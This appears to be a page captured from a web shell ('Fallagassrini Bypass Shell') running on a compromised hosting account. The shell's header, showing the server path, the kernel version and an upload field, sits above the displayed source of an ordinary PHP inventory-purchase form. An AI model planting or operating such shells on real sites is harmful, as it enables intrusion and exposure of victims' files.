? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/sec/application/views/inventory/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/sec/application/views/inventory/add_purchase.php

<?php
if (!defined('BASEPATH'))
    exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');
?>
<script src="<?= base_url() ?>assets/scripts/jquery.autocomplete.js"></script>
<script type="text/javascript">
    function get_purcahse_total_prize(divid)
    {   
        
        
       var tr_index= $('#'+divid).closest('tr').index();
       var qty= $('#inventory_qty'+tr_index).val();
       var prize= $('#inventory_amount'+tr_index).val();
       var discount= $('#inventory_discount'+tr_index).val();
       
       
      
       var flag=1;
       if(qty=='' || prize=='')
       {
           flag=0;
       }
          
       
       if(flag==1)
           {
               var qtnty=parseInt(qty);
               var prize1=parseFloat(prize);
               if(discount !='')
                var discount1=parseFloat(discount);
               else
                   discount1=0;
               var total=prize1*qtnty-discount1;
               $('#inventory_total'+tr_index).val(total);
           }
           else
               $('#inventory_total'+tr_index).val('0')
       
    }
</script>
<div class="row-fluid">
    <div class="tab-pane " id="tab_2">
        <div class="portlet box blue">
            <div class="portlet-title">
                <div class="caption"><i class="icon-reorder"></i>Creating New Purchase</div>
                <div class="tools">
                    <a href="#" onclick="viewdata('inventory','viewininventorysearch','search_purchase','view_purchase','<?=$_SESSION['pagenum'];?>')" class="remove"></a>
                </div>
            </div>
            <div class="portlet-body form">
                <!-- BEGIN FORM-->
                <?php
                $attributes = array('id' => 'validateform', 'class' => 'form-horizontal validate');
                 $franchisee=$this->franchiseemodel->search_franchisee();
                $inventory=$this->mastermodel->search_inventory();
                echo form_open('inventory/addininventory/insert_purchase/view_purchase/1',$attributes);
                ?>
            <h3 class="form-section">Purchase Details </h3>
                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Franchisee Name</label>
                            <div class="controls">
                                 <select name="franchisee_id" id="franchisee_id" class="required chosen span12" >
                                <option value=''>Select</option>
                                 <?php
                                 foreach($franchisee['results']->result_array() as $list)
                                 {
                                 ?>
                                    <option value="<?=$list['franchisee_id']?>"><?=$list['franchisee_name']?></option>
                                    <?php
                                 }
                                 ?>
                            </select>
                            </div>
                        </div>
                    </div>
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Purchase Date</label>
                            <div class="controls">
                                 <input name="purchase_date" id="purchase_date" class="required calfocus span12" type="text" />
                            </div>
                        </div>
                    </div>
                </div>
                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Remarks </label>
                            <div class="controls">
                                <textarea name="purchase_remarks" id="purchase_remarks" class="span12" type="text"></textarea>
                    
                            </div>
                        </div>
                    </div>
                    </div>
<div class="portlet box blue">
                    <div class="portlet-title">
                        <div class="caption"><i class="icon-check"></i>  Purchase Inventory Details</div>
                    </div>
                    <div class="portlet-body">
                        <div class="row-fluid">
                            <div class="control-group">
                                <table class="table table-striped table-hover table-bordered" id="sample_5" style="background-color: white;">
                                    <tr>
                                         <th>Inventory Type</th>
                                            <th>Quantity</th>
                                            <th>Amount</th>
                                            <th>Discount</th>
                                            <th>Total</th>
                                        <th><input type="button" id="button2" value="Add More" class="addRow" title="Add Row" style="width:75px;"/></th>
                                        </tr>
                                   <tr>
                        <td>  <select style="width:130px;" name="inventory_id" id="inventory_id" class="chzn-done" >
                                <option value=''>Select</option>
                                 <?php
                                 foreach($inventory['results']->result_array() as $list)
                                 {
                                 ?>
                                    <option value="<?=$list['inventory_id']?>"><?=$list['inventory_type']?></option>
                                    <?php
                                 }
                                 ?>
                            </select></td>
                        <td><input style="width:130px;" name="inventory_qty" id="inventory_qty"  class="number" type="text" onchange="get_purcahse_total_prize(this.id)"/></td>
                        <td><input style="width:130px;"  name="inventory_amount" id="inventory_amount" class="number auto" type="text" onchange="get_purcahse_total_prize(this.id)"/></td>
                        <td><input  style="width:130px;" name="inventory_discount" id="inventory_discount" class="number auto" type="text" onchange="get_purcahse_total_prize(this.id)" value="0"/></td>
                        <td><input  style="width:130px;" name="inventory_total" id="inventory_total"  type="text" readonly class="auto" /></td>
                                        <td>
                                            <img style="float: right; vertical-align: top;"src="<?= base_url() ?>assets/img/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                                        </td>
                                    </tr>
                                </table>
                            </div>
                        </div>

                    </div>
                </div>
                    
                
               
                
                  <div class="form-actions">
                    <input type="hidden" name="tab_name" value="purchase"/>
                    <input type="hidden" name="resfunction" value="search_purchase"/>
                    <button type="submit" onclick="addformdata('validateform')" class="btn blue"><i class="icon-ok"></i> Save</button>
                    <button type="button" onclick="viewdata('inventory','viewininventorysearch','search_purchase','view_purchase','<?=$_SESSION['pagenum'];?>')" class="btn">Cancel</button>
                </div>
                <?php
                echo form_close();
                ?>
                <!-- END FORM-->                
            </div>
        </div>
    </div>
</div>





bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net